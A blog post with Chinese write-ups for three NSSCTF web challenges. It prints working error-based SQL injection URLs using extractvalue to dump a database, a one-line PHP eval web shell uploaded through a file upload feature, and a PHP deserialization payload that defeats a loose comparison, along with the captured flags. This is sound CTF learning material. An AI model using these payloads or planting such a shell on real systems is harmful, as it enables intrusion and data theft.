NSSCTF-Web题目5

目录

[SWPUCTF 2021 新生赛]error

1、题目

2、知识点

3、思路

[LitCTF 2023]作业管理系统

1、题目

2、知识点

3、思路

[HUBUCTF 2022 新生赛]checkin

1、题目

2、知识点

3、思路


[SWPUCTF 2021 新生赛]error

1、题目

2、知识点

数据库注入、报错注入

3、思路

首先,输入一个1

输入1'

数据库语句报错,且报错信息有回显出来,加入注释符

正常回显,说明当前的闭合方式正确,为单引号的闭合,使用报错函数extractvalue

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,database())) --+

得到数据库名为:test_db

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))) --+

得到两个表:test_tb,users

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'))) --+

test_tb表的两个字段为:id,flag

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'))) --+

users表的三个字段:id,username,password

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb))) --+

得到flag的前半段,这里以为另外一半藏到别的地方,其实是没完全显示出来,使用函数substring

substring()

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(flag),32,30) from test_db.test_tb))) --+

合并起来的flag:NSSCTF{eed0ee27-1b46-4520-a7b5-71dd9183d446}


[LitCTF 2023]作业管理系统

1、题目

2、知识点

文件上传,蚁剑连接

3、思路

右键,查看源码,发现登录名和密码

登录上去

这里有很多功能,我们可以上传一句话木马文件 flag.php

<?php
@eval($_POST['cmd']); #一句话木马
?>

这里我们可以知道上传到根目录下

上传成功后使用蚁剑连接

连接成功后在根目录找到flag文件

打开flag文件,得到flag

得到flag:

NSSCTF{d0dc1586-48ed-4661-8b97-02fd17bf0cd4}


[HUBUCTF 2022 新生赛]checkin

1、题目

2、知识点

PHP反序列化,数组

3、思路

题目给了我们一段代码

$data_unserialize['username']==$username&&$data_unserialize['password']==$password

审计代码,意思是username和password的值反序列后的值要相同,这里使用了弱类型比较(==)

代码中给了两个值,先进行序列化后上传看看,使用在线网站

PHP 在线工具 | 菜鸟工具 (jyshare.com)

<?php
$info = array(
    'username'=>"this_is_secret",
    'password'=>"this_is_not_known_to_you"
);
echo  serialize($info);

http://node5.anna.nssctf.cn:25489/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

flag没有出来,因为username和password的值更改了,我们不知道具体的值是什么

这里我们就要考虑怎么使两个值相同

弱比较中,true和非空、非零字符串弱比较(==)都是为true,所以我们使两个字段的值都为true

<?php
$info = array(
    'username'=>true,
    'password'=>true
);
echo  serialize($info);
 

将得到的值传给info

得到flag:NSSCTF{5713f43e-708e-458e-a6fc-fd82c254f8d3}


这篇文章就先写到这里啦,哪里不懂的或者哪里不足的欢迎批评指正

  • 11
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值